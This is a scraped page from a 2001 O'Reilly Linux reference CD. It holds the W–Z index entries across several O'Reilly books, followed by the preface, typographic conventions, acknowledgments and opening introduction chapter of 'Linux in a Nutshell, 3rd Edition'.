Linux versus: 1.8.2. Linux Versus Windows 95 and 98 (Running Linux)
Perl slowness vs. Unix: 1.3.1. Why Perl? (CGI Programming with Perl)
Windows 98: 5.2.2. Using LILO (Running Linux)
5.2.2.1. The /etc/lilo.conf file (Running Linux)
Netscape browsers sending paths to files as filenames: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
Windows NT: 5.2.2. Using LILO (Running Linux)
5.2.2.2. Using LILO as a secondary boot loader (Running Linux)
Wine emulator: 1.5.9. Interfacing with Windows and MS-DOS (Running Linux)
Windows OS (see Win32)
Windows partitions (shares): 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network (Running Linux)
mounting: 12.1.1. Mounting DOS, VFAT, and NTFS Partitions (Running Linux)
MTools for DOS partitions: 12.1.4. Utilities for Accessing DOS Filesystems: MTools (Running Linux)
serving: 12.1.3. Using Samba to Serve SMB Shares (Running Linux)
sharing files with Linux: 12.1. Sharing Files (Running Linux)
accessing Windows files: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network (Running Linux)
file translation utilities: 12.1.5. File Translation Utilities (Running Linux)
sharing programs with Linux: 12.2. Sharing Programs (Running Linux)
Wine emulator: 1.5.9. Interfacing with Windows and MS-DOS (Running Linux)
12.2. Sharing Programs (Running Linux)
12.2.4. Windows Emulation: Wine (Running Linux)
WinList module, fvwm2: 17.3. A Modular Approach (Linux in a Nutshell)
17.15. The FvwmWinList: Switching the Focus (Linux in a Nutshell)
making it part of default environment: 17.15.2. Making the FvwmWinList Part of Your Default Environment (Linux in a Nutshell)
Winmodem modem: 15.2.1.1. Requirements (Running Linux)
Win32::ODBC module
advantages: 7.4.2. Win32::ODBC (Programming the Perl DBI)
disadvantages: 7.4.2. Win32::ODBC (Programming the Perl DBI)
emulating: 7.7. Moving Between Win32::ODBC and the DBI (Programming the Perl DBI)
metadata functions: 7.3.3. Rich Metadata (Programming the Perl DBI)
vs.DBD::ODBC: 7.4.1. DBD::ODBC (Programming the Perl DBI)
Win32::OLE module, using ADO from Perl: 7.8. And What About ADO? (Programming the Perl DBI)
Wintcl: 4.5.2.4. Programming interfaces (MySQL & mSQL)
wish interpreter: 13.5. Programming in Tcl and Tk (Running Linux)
13.5.3. Using Tcl and Tk in Other Applications (Running Linux)
word abbreviation commands, Emacs: 10.3.9. Word Abbreviation Commands (Linux in a Nutshell)
word completion: 4.7.1. Word Completion (Running Linux)
word count: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
word processing: 1.5.2. Text Processing and Word Processing (Running Linux)
1.5.2. Text Processing and Word Processing (Running Linux)
9.3.4. Word Processors (Running Linux)
AbiWord application: B.4. Some GNOME Applications (Running Linux)
word substitution (csh/tcsh): 8.6.3. Word Substitution (Linux in a Nutshell)
wordchars variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
WordPerfect: 1.5.3. Commercial Applications (Running Linux)
9.3.4. Word Processors (Running Linux)
12.1.5. File Translation Utilities (Running Linux)
words
index file, checking for previous occurrence of: 12.3. Inverted Index Search (CGI Programming with Perl)
prefixes, removing: 12.3. Inverted Index Search (CGI Programming with Perl)
suffixes, automatic removal of: 12.3. Inverted Index Search (CGI Programming with Perl)
workspaces, KDE: 11.3.2. Using KDE (Running Linux)
workspaces, Sawfish window manager: 15.4.8.7. Workspaces (Linux in a Nutshell)
world access bit, setting for CGI application execution: 15.1.1. Application Permissions (CGI Programming with Perl)
World Wide Web: 2. The Hypertext Transport Protocol (CGI Programming with Perl)
1.5.7. Networking (Running Linux)
16.1. The World Wide Web (Running Linux)
configuring server: 16.1.3. Configuring Your Own WWW Server (Running Linux)
documentation available on: 1.10.1. Online Documents (Running Linux)
interactive forms: 16.1.5. Building Interactive Forms (Running Linux)
writing HTML documents: 16.1.4. Writing HTML Documents (Running Linux)
wq command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
WRAP attribute: 4.2.5. The <TEXTAREA> Tag (CGI Programming with Perl)
wrapped text in text boxes, placing: 13.4.1. GD::Text (CGI Programming with Perl)
write command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
write command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
write permission (see permissions)
4.13. File Ownership and Permissions (Running Linux)
write permissions (see permissions, file)
writers file (CVS): 14.3.3.17. The writers file (Linux in a Nutshell)
writing: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
(see also messages)
to disk: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
to terminal: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
to users: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
writing chunks of data: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
writing manual pages: 9.3.2.1. Writing a manual page (Running Linux)
writing modules: 15. Writing Apache Modules (Apache: The Definitive Guide)
writing permission: 2.4.4. Unix Permissions (Apache: The Definitive Guide)
writing XML parser: 14.4. Writing an XML Parser (CGI Programming with Perl)
"wrong fs type" error: 6.1.2. Mounting Filesystems (Running Linux)
wtmp file: 8.3. Managing System Logs (Running Linux)
Wuftpd-mysql: 4.5.2.5. Miscellaneous (MySQL & mSQL)
WWW-Authenticate header: 2.3.2.4. Authorization (CGI Programming with Perl)
2.4.2.10. WWW-Authenticate (CGI Programming with Perl)
401 status code responses and: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
WWW Consortium website for HTTP: 2. The Hypertext Transport Protocol (CGI Programming with Perl)
www-sql, CGI interface: 4.5.2.2. CGI interfaces (MySQL & mSQL)
WYSIWYG processors: 1.5.2. Text Processing and Word Processing (Running Linux)
9.3.4. Word Processors (Running Linux)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: X

x command (gdb): 14.1.4. Changing and Examining Data (Running Linux)
x command (sed): 12.5. Alphabetical Summary of sed Commands (Linux in a Nutshell)
X Consortium: 1.3. Commands on Linux (Linux in a Nutshell)
-X flag (httpd): 2.2. Apache's Flags (Apache: The Definitive Guide)
X-Loop headers (email): 9.7.1. Autoreply from nobody (CGI Programming with Perl)
X11 software: B.1.1. The Windowing System Foundation (Running Linux)
X Window System: 1.5.5. The X Window System (Running Linux)
10. Installing the X Window System (Running Linux)
5.6.2.3. Client applications (MySQL & mSQL)
applications for: 11.4. X Applications (Running Linux)
running on KDE: 11.3.2. Using KDE (Running Linux)
behind-the-scenes functionality: B.1.1. The Windowing System Foundation (Running Linux)
clock: 11.4.6. Clocks (Running Linux)
customizing environment: 11. Customizing Your X Environment (Running Linux)
Emacs and: 9.2. The Emacs Editor (Running Linux)
11.4.7. Emacs (Running Linux)
FTP site for: A.4. General Software FTP Sites (Running Linux)
interface building tools: 14.2.6. Interface Building Tools (Running Linux)
Linux/m86k and: E.4.3. The X Window System (Running Linux)
Linux/SPARC and: F.3.1. Graphics and X (Running Linux)
make xconfig program: 7.4.2. Building the Kernel (Running Linux)
manual pages and: 11.4.9. xman: A Point-and-Click Interface to Manual Pages (Running Linux)
previewing TeX documents: 9.3.1.2. Formatting and printing (Running Linux)
resources: 11.1.2. The X Resource Database (Running Linux)
servers: 10.1. X Concepts (Running Linux)
10.3. Installing XFree86 (Running Linux)
Tk scripts and: 13.5. Programming in Tcl and Tk (Running Linux)
troubleshooting: 10.7. Running Into Trouble (Running Linux)
use with ptkdb: 15.3.5.2. ptkdb (CGI Programming with Perl)
Wine emulator: 1.5.9. Interfacing with Windows and MS-DOS (Running Linux)
xargs command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Xaw3D toolkit: 14.2.6. Interface Building Tools (Running Linux)
XBase (see DBD\\XBase driver)
xbiff program: 17.5. A Quick Tour of the fvwm Environment (Linux in a Nutshell)
17.10. Making the Same Window Appear on Every Page (Linux in a Nutshell)
XBitHack facility: 10.6. XBitHack (Apache: The Definitive Guide)
xclock program: 17.5. A Quick Tour of the fvwm Environment (Linux in a Nutshell)
17.10. Making the Same Window Appear on Every Page (Linux in a Nutshell)
11.4.6. Clocks (Running Linux)
.Xdefaults file: 4.15. Startup Files (Running Linux)
11.4.2. Starting up xterm (Running Linux)
xdos emulator: 12.2.1. DOS Emulators: Dosemu and xdos (Running Linux)
xdvi utility: 1.5.2. Text Processing and Word Processing (Running Linux)
8.4.4. Checking Print Utilities (Running Linux)
XEmacs text editor: 9.2. The Emacs Editor (Running Linux)
Xenix filesystem: 6.1.1. Filesystem Types (Running Linux)
XF86Config program: 10.4. Configuring XFree86 (Running Linux)
options for: 10.4. Configuring XFree86 (Running Linux)
xfd command: 11.4.5. Choosing Fonts (Running Linux)
xfontsel utility: 11.4.5. Choosing Fonts (Running Linux)
XFree86: A.4. General Software FTP Sites (Running Linux)
1.5.5. The X Window System (Running Linux)
10. Installing the X Window System (Running Linux)
10.6. Running XFree86 (Running Linux)
configuring: 10.4. Configuring XFree86 (Running Linux)
installing: 10.3. Installing XFree86 (Running Linux)
XF86Setup program: 10.4. Configuring XFree86 (Running Linux)
XfSQL utility: 5.6.2.3. Client applications (MySQL & mSQL)
xhost command: 15.3.5.2. ptkdb (CGI Programming with Perl)
xinit program: 10.6. Running XFree86 (Running Linux)
11.1.1. xinit (Running Linux)
.xinitrc file: 4.15. Startup Files (Running Linux)
10.6. Running XFree86 (Running Linux)
11.4.2. Starting up xterm (Running Linux)
X resources: 11.1.2. The X Resource Database (Running Linux)
xit command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
xload program: 17.5. A Quick Tour of the fvwm Environment (Linux in a Nutshell)
xlsfonts command: 11.4.5. Choosing Fonts (Running Linux)
xman program: 4.12. Manual Pages (Running Linux)
11.4.9. xman: A Point-and-Click Interface to Manual Pages (Running Linux)
xmkmf utility (imake): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
XML (Extensible Markup Language): B.5.1.3. XML/DOM libraries (Running Linux)
document type definition (DTD): 14.3. Document Type Definition (CGI Programming with Perl)
documents, online quiz (sample): 14.2. An Introduction to XML (CGI Programming with Perl)
DOM, defining objects for documents: 7.1.1. History (CGI Programming with Perl)
introduction to: 14.2. An Introduction to XML (CGI Programming with Perl)
features for data transport between programs: 14.2. An Introduction to XML (CGI Programming with Perl)
single, empty tags: 14.2. An Introduction to XML (CGI Programming with Perl)
middleware, CGI gateway to: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
Netscape server, typical returned from: 14.4. Writing an XML Parser (CGI Programming with Perl)
search engine based on: 14.4. Writing an XML Parser (CGI Programming with Perl)
WDDX, use of: 7.3.1. WDDX (CGI Programming with Perl)
web page information on: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
XML parsers
different ways of parsing: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
writing: 14.4. Writing an XML Parser (CGI Programming with Perl)
XML tags
RDF (Resource Definition Format): 14.4. Writing an XML Parser (CGI Programming with Perl)
tag: 14.3. Document Type Definition (CGI Programming with Perl)
tags: 14.3. Document Type Definition (CGI Programming with Perl)
XML::Parser, handling of: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
XML::Grove module: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
XML::Parser module: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
errors and: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
event-based style of: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
interface to C language expat library: 14.4. Writing an XML Parser (CGI Programming with Perl)
xmodmap command: 9.2.8. Tailoring Emacs (Running Linux)
XmSQL utility: 5.6.2.3. Client applications (MySQL & mSQL)
xmysql utility: 4.5.2.3. Client applications (MySQL & mSQL)
xmysqladmin utility: 4.5.2.3. Client applications (MySQL & mSQL)
XPM file format: 12.1.5. File Translation Utilities (Running Linux)
X11R6: 10. Installing the X Window System (Running Linux)
XSSI facility: 10.7. XSSI (Apache: The Definitive Guide)
XT bus system: 8.4.14. Printer System Troubleshooting (Running Linux)
XT disk controllers: 7.4.2. Building the Kernel (Running Linux)
xterm: 11.4.1. xterm: Your Home Base (Running Linux)
xterm program: 1.4. What This Book Offers (Linux in a Nutshell)
xtp utility (ImageMagick): 9.4.1. ImageMagick (Running Linux)
xtpanel utility: 14.2.6. Interface Building Tools (Running Linux)
xvidtune program: 10.4. Configuring XFree86 (Running Linux)
XView interface: 14.2.6. Interface Building Tools (Running Linux)
xxgdb debugger: 14.2.1. Debuggers (Running Linux)
XY charts, creating: 13.4.2. GD::Graph (CGI Programming with Perl)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: Y

y command (sed): 12.5. Alphabetical Summary of sed Commands (Linux in a Nutshell)
yacc command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
yank command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
yanking and pasting
Emacs: 10.3.3. Deletion Commands (Linux in a Nutshell)
sed: 12.4.4. Yanking and Putting (Linux in a Nutshell)
vi: 11.5.2. Changing and Deleting Text (Linux in a Nutshell)
yanking text (see cutting and pasting)
Year 2000 and time formats: 10.2. File Modification Time (Apache: The Definitive Guide)
YEAR( ) function: 15.1. MySQL SQL (MySQL & mSQL)
YEAR datatype: 15.1. MySQL SQL (MySQL & mSQL)
Yellow Pages (YP) (see NIS)
yes command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Y2K problems: 2.1.2. Entity Attributes (MySQL & mSQL)
Young, Eric: 13.5.2. National Security (Apache: The Definitive Guide)
ypbind command (NFS/NIS): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ypcat command (NFS/NIS): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ypchfn command (NFS/NIS): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ypchsh command (NFS/NIS): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
yp.conf file: 15.4.2. Configuring NIS (Running Linux)
ypinit command (NFS/NIS): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ypmatch (NFS/NIS): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
yppasswd command (NFS/NIS): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
yppoll command (NFS/NIS): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
yppush command (NFS/NIS): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ypserv command (NFS/NIS): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ypset command (NFS/NIS): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ypwhich command: 15.4.2. Configuring NIS (Running Linux)
ypwhich command (NFS/NIS): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ypxfr command (NFS/NIS): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: Z

z command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
zcat command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
7.1.1. Using gzip and bzip2 (Running Linux)
zcmp command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
zdiff command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
zdump command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ZEROFILL attribute: 15.1. MySQL SQL (MySQL & mSQL)
zforce command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
zgrep command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
zic command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ZIP drives: 1.9.6.3. Tape drives and removable storage (Running Linux)
zlib, using with gd: 13.3.1. Installation (CGI Programming with Perl)
Zmodem: H. Zmodem File Transfer (Running Linux)
zmore command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
zmsql API: 5.6.2.4. Programming interfaces (MySQL & mSQL)
znew command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
zsh (Z shell): 4.5. Shells (Running Linux)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


JObjects QuestAgent - "Search by Field" Applet

Search this cd

Search

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Preface (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

Preface

This is a book about Linux, a freely available clone of the Unix operating system for personal computers. Linux was first developed by Linus Torvalds, who built the first Linux kernel and continues to centrally coordinate improvements. The operating system continues to grow under the dedicated cultivation of a host of other programmers and hackers all over the world, all connected through the Internet. Beyond the kernel code, Linux includes utilities and commands from the Free Software Foundation's GNU project, Berkeley Unix (BSD), and a complete port of the X Window System (XFree86) from the X Consortium, in addition to many features written specifically for Linux. Even more recent projects extend Linux in exciting ways, some through changes to the kernel -- such as real-time scheduling and RAID support -- and some through libraries and applications that radically change the user's experience; the GNOME and KDE desktops briefly covered in this book are the most prominent examples.

This book is a quick reference for the basic commands and features of the Linux operating system. As with other books in O'Reilly's "In a Nutshell" series, this book is geared toward users who know what they want to do and have some idea how to do it, but just can't remember the correct command or option. We hope this guide will become an invaluable desktop reference for the Linux user.

0.1. Other Resources

This book will not tell you how to install and maintain a Linux system. For that, you will probably want O'Reilly's Learning Red Hat Linux or Learning Debian GNU/Linux, by Bill McCarty, which contain Linux distributions on CD-ROM and provide help with installation and configuration. Alternatively, Running Linux by Matt Welsh, Matthias Kalle Dalheimer, and Lar Kaufman is an in-depth guide suitable for all major distributions. For networking information, check out Linux Network Administrator's Guide by Olaf Kirch and Terry Dawson. In addition to O'Reilly's Linux titles, our wide range of Unix, X, Perl, and Java titles may also be of interest to the Linux user.

0.1.1. Online Documentation

The Internet is also full of information about Linux. One of the best resources is the Linux Documentation Project at http://www.linuxdoc.org.It has numerous short guides called HOWTOs, along with some full manuals. For online information about the GNU utilities covered in this book, consult http://www.gnu.org(or one of the dozens of mirror sites around the world). The Free Software Foundation, which is in charge of GNU, publishes its documentation in a number of hard-copy books about various tools.

0.1.2. Linux Journal and Linux Magazine

Linux Journal and Linux Magazine are monthly magazines for the Linux community, written and published by a number of Linux activists. They contain articles ranging from novice questions and answers to kernel programming internals. Linux Journal is the oldest magazine and is published by S.S.C. Incorporated, http://www.ssc.com.Linux Magazine is at http://www.linuxmagazine.com.

0.1.3. LinuxUsenet Newsgroups

If you have access to Usenet news, the following Linux-related newsgroups are available:

comp.os.linux.announce

A moderated newsgroup containing announcements of new software, distributions, bug reports, and goings-on in the Linux community. All Linux users should read this group. Submissions may be mailed to linux-announce@news.ornl.gov.

comp.os.linux.help

General questions and answers about installing or using Linux.

comp.os.linux.admin

Discussions relating to systems administration under Linux.

comp.os.linux.networking

Discussions relating to networking with Linux.

comp.os.linux.development

Discussions about developing the Linux kernel and system itself.

comp.os.linux.misc

A catch-all newsgroup for miscellaneous discussions that don't fall under the previous categories.

There are also several newsgroups devoted to Linux in languages other than English, such as fr.comp.os.linux in French and de.comp.os.linux in German.

0.1.4. Online Linux Support

There are many ways of obtaining help online, where volunteers from around the world offer expertise and services to assist users with questions and problems.

The OpenProjects IRC Network is an IRC network devoted entirely to Open Projects -- Open Source and Open Hardware alike. Some of its channels are designed to provide online Linux support services. IRC stands for Internet Relay Chat, and is a network service that allows you to talk interactively on the Internet to other users. IRC networks support multiple channels on which groups of people talk. Whatever you type in a channel is seen by all other users of that channel.

There are a number of active channels on the OpenProjects IRC network where you will find users 24 hours a day, 7 days a week who are willing and able to help you solve any Linux problems you may have, or just chat. You can use this service by installing an IRC client like irc-II, connecting to servername >irc.openprojects.org:6667>, and joining the #linpeople channel.

0.1.5. Linux User Groups

Many Linux User Groups around the world offer direct support to users. Many Linux User Groups engage in activities such as installation days, talks and seminars, demonstration nights, and other completely social events. Linux User Groups are a great way of meeting other Linux users in your area. There are a number of published lists of Linux User Groups. Some of the better-known ones are:

Groups of Linux Users Everywhere

http://www.ssc.com/glue/groups

LUGlist project

http://www.nllgg.nl/lugww

LUGregistry

http://www.linux.org/users

Previous | Home | Next
Copyright Page | Book Index | 0.2. Conventions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Conventions (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

0.2. Conventions

This desktop quick reference follows certain typographic conventions:

Bold

is used for commands, programs, and options. All terms shown in bold are typed literally.

Italic

is used to show arguments and variables that should be replaced with user-supplied values. Italic is also used to indicate filenames and directories and to highlight comments in examples.

Constant Width

is used to show the contents of files or the output from commands.

Constant Width Bold

is used in examples and tables to show commands or other text that should be typed literally by the user.

Constant Width Italic

is used in examples and tables to show text that should be replaced with user-supplied values.

%, $

are used in some examples as the tcsh shell prompt (%) and as the Bourne or bash shell prompt ($).

[ ]

surround optional elements in a description of syntax. (The brackets themselves should never be typed.) Note that many commands show the argument [files]. If a filename is omitted, standard input (e.g., the keyboard) is assumed. End with an end-of-file character.

EOF

indicates the end-of-file character (normally Ctrl-D).

|

is used in syntax descriptions to separate items for which only one alternative may be chosen at a time.

is used at the bottom of a right-hand page to show that the current entry continues on the next page. The continuation is marked by a [image].

The owl icon designates a note, which is an important aside to its nearby text. For example...

NOTE

When you see the owl icon, you know the text beside it is a note, like this.

A final word about syntax. In many cases, the space between an option and its argument can be omitted. In other cases, the spacing (or lack of spacing) must be followed strictly. For example, -w n (no intervening space) might be interpreted differently from -w n. It's important to notice the spacing used in option syntax.

Previous | Home | Next
0. Preface | Book Index | 0.3. We'd Like to Hear from You
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Acknowledgments (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

0.4. Acknowledgments

This edition of Linux in a Nutshell is the result of the cooperative efforts of many people. Thanks to Andy Oram for his editorial skills, to Val Quercia for her project management skills, and to both of them for pitching in to check existing chapters and update and write new material as needed.

For technical review, thanks go to Matt Welsh of Running Linux and Installation and Getting Started Guide fame; Michael K. Johnson of Red Hat Software; Robert J. Chassell, Phil Hughes, and Laurie Lynne Tucker of Linux Journal; Arnold Robbins, Julian T. J. Midgley, Terry Dawson, Doug Moreen, Ron Passerini, and Mark Stone.

Previous | Home | Next
0.3. We'd Like to Hear from You | Book Index | 1. Introduction
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Introduction (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

Chapter 1. Introduction

Contents:

The Excitement of Linux
Distribution and Support
Commands on Linux
What This Book Offers
Sources and Licenses
Beginner's Guide

In just a few years, Linux has grown from a student/hacker playground to an upstart challenger in the server market to a well-respected system taking its rightful place in educational and corporate networks. A freely redistributable clone of the Unix operating system, Linux is turning up everywhere. People use it for web servers, file servers, and workstations instead of--or alongside -- systems from traditional Unix vendors as well as Windows NT. In addition to its role in large networks (because it's a friendly fellow that fits in very nicely with other operating systems), Linux is popular among Windows users who just want to try something that gives them more speed, more power, and more control.

The historical impact of Linux goes even beyond its own penetration into the markets of proprietary operating systems. Its success has inspired countless other free software or open source (http://opensource.org)projects, including Samba, GNOME, and a mind-boggling collection of innovative projects that you can browse at numerous sites like SourceForge (http://sourceforge.net).As both a platform for other developers and a development model, Linux gave a tremendous boost to the Free Software Foundation's GNU project, which in turn had furnished key software that made the development of Linux possible. In short, Linux is a central participant in the most exciting and productive free software movement ever seen.

If you haven't obtained Linux yet or have it but don't know exactly how to get started using it, see the Preface.

1.1. The Excitement of Linux

Linux is first of all free software: anyone can download the source from the Internet or buy it on a low-cost CD-ROM. But Linux is becoming well known because it's more than free software -- it's unusually good software. You can get more from your hardware with Linux (particularly on Intel systems, where it was originally developed) and be assured of fewer crashes; even its security is better than many commercial alternatives.

As free software, Linux revives the grand creativity and the community of sharing that Unix was long known for. The unprecedented flexibility and openness of Unix--which newcomers usually found confusing and frustrating but which they eventually found they couldn't live without -- continually inspired extensions, new tools like Perl, and experiments in computer science that sometimes ended up in mainstream commercial computer systems.

Many fondly remember the days when AT&T provided universities with Unix source code at no charge, and the University of Berkeley started distributing its version in any manner that allowed people to get it. For these older hackers, Linux can bring back the spirit of working together -- all the more so because the Internet is now widespread. And for the many who are too young to remember the first round of open systems (such as the hordes of students attracted to Linux) or whose prior experience has been woefully constricted by proprietary operating systems, now is the time to discover the wonders of freely distributable source code and infinitely adaptable interfaces.

The Linux kernel itself was originally designed by Linus Torvalds at the University of Helsinki in Finland and later developed through collaboration with countless volunteers worldwide. By "kernel," we mean the core of the operating system itself -- not the applications (such as the compiler, shells, and so forth) that run on it. Today, the term "Linux" is often used to mean the kernel as well as the applications and complete system environment.

Most Linux systems cannot be technically referred to as a "version of Unix," as they have not been submitted to the required tests and licensed properly.[1]However, at least one Linux distribution has in fact been branded as POSIX.1. Linux offers all the common programming interfaces as standard Unix systems, and as you can see from this book, all the common Unix utilities have been reimplemented on Linux. It is a powerful, robust, fully usable system for those who like Unix.

[1] Before an operating system can be called "Unix," it must be branded by X/Open.

The economic power behind Linux's popularity is its support for an enormous range of hardware used with IBM-compatible personal computers. People who are accustomed to MS-DOS and Microsoft Windows are often amazed at how much faster their hardware appears to work with Linux -- it makes efficient use of its resources.

For the first several years, users were attracted to Linux for a variety of financial and political reasons, but soon they discovered an unexpected benefit: it works better than many commercial systems. With the Samba file and print server, for instance, Linux serves a large number of end-user PCs without crashing. With the Apache web server, it provides more of the useful features web administrators want than competing products do.

Previous | Home | Next
0.4. Acknowledgments | Book Index | 1.2. Distribution and Support
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Distribution and Support (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

1.2. Distribution and Support

While it is convenient to download one or two new programs over the Internet and fairly feasible to download something as large as the Linux kernel, getting a whole working system over phone lines is an absurd proposition. Over the years, therefore, commercial and noncommercial packages called distributions have emerged. The first consisted of approximately 50 diskettes, at least one of which would usually turn out to be bad and have to be replaced. When CD-ROM drives became widespread, Linux really took off.

After getting Linux, the average user is concerned next with support. While Usenet newsgroups offer very quick response and meet the needs of many intrepid users, you can also buy support from the vendors of the major distributions and a number of independent experts. Linux is definitely supported at least as well as commercial software.

Intel is still by far the most common hardware running Linux, but Linux is also now commercially available on a number of other hardware systems, notably the PowerPC, the 64-bit Intel Itanium processor, the Alpha (created by Digital Equipment Corporation, now Compaq), the SPARC, and the MIPS chip.

Previous | Home | Next
1. Introduction | Book Index | 1.3. Commands on Linux
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Commands on Linux (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

1.3. Commands on Linux

Linux commands are not the same as standard Unix ones. They're better! This is because most of them are provided by the GNU project run by the Free Software Foundation (FSF). GNU means "GNU's Not Unix" -- the first word of the phrase is supposed to be expanded with infinite recursion.

Benefiting from years of experience with standard Unix utilities and advances in computer science, programmers on the GNU project have managed to create versions of standard tools that have more features, run faster and more efficiently, and lack the bugs or inconsistencies that persist in the original standard versions.

While GNU provided the programming utilities and standard commands like grep, most of the system and network administration tools on Linux came from the Berkeley Software Distribution (BSD). In addition, some people wrote tools specifically for Linux to deal with special issues such as filesystems that only Linux supports. This book documents all the standard Unix commands that are commonly available on most Linux distributions.

The third type of software most commonly run on Linux is the X Window System, ported by the XFree86 project to standard Intel chips. While this book cannot cover the wide range of utilities that run on X, we briefly cover some of the useful customizations you may want to make to your KDE, GNOME, or fvwm desktop.

Previous | Home | Next
1.2. Distribution and Support | Book Index | 1.4. What This Book Offers
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


What This Book Offers (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

1.4. What This Book Offers

Based originally on the classic O'Reilly & Associates quick reference, Unix in a Nutshell, this book has been expanded to include much information that is specific to Linux. The current edition includes chapters on package managers (which make it easy to install, update, and remove related software files), on the KDE and GNOME desktops, and on the fvwm window manager, as well as new commands and expanded discussions of several topics such as CVS and bash.

Linux in a Nutshell doesn't teach you Linux--it is, after all, a quick reference -- but novices as well as highly experienced users will find it of great value. When you have some idea what command you want but aren't sure just how it works or what combinations of options give you the exact output required, this book is the place to turn. It is also an eye-opener: it can make you aware of options that you never knew about before.

Like computer systems from the age in which Unix was born (the early 1970s), Linux is mostly a command-driven system. Most versions of Linux provide a few graphical tools, and several commercial products are available, but none of these graphical utilities are central to Linux. That is why this book, like the traditional Unix in a Nutshell reference, focuses on the shell and on commands you run from the shell.

Of course, Linux offers a windowing system -- a very rich and flexible one, as befits a rich and flexible operating system. But a lot of the time you'll just open a simulated VT100 terminal (the xterm program) and enter commands into that. You'll find yourself moving back and forth between graphical programs and the commands listed in this book.

So the first thing you've got to do, once you're over the hurdle of installing Linux, is get to know the common utilities run from the shell prompt. If you know absolutely nothing about Unix, we recommend you read a basic guide (introductory chapters in the O'Reilly books Learning Red Hat Linux, Learning Debian GNU/Linux, and Running Linux can get you started). This book offers a context for understanding different kinds of commands (including commands for programming, system administration, and network administration) in Chapter 2, "System and Network Administration Overview", followed by the command reference itself in Chapter 3, "Linux Commands". Chapter 3, "Linux Commands" is obviously the central focus of the book, containing about one third its bulk.

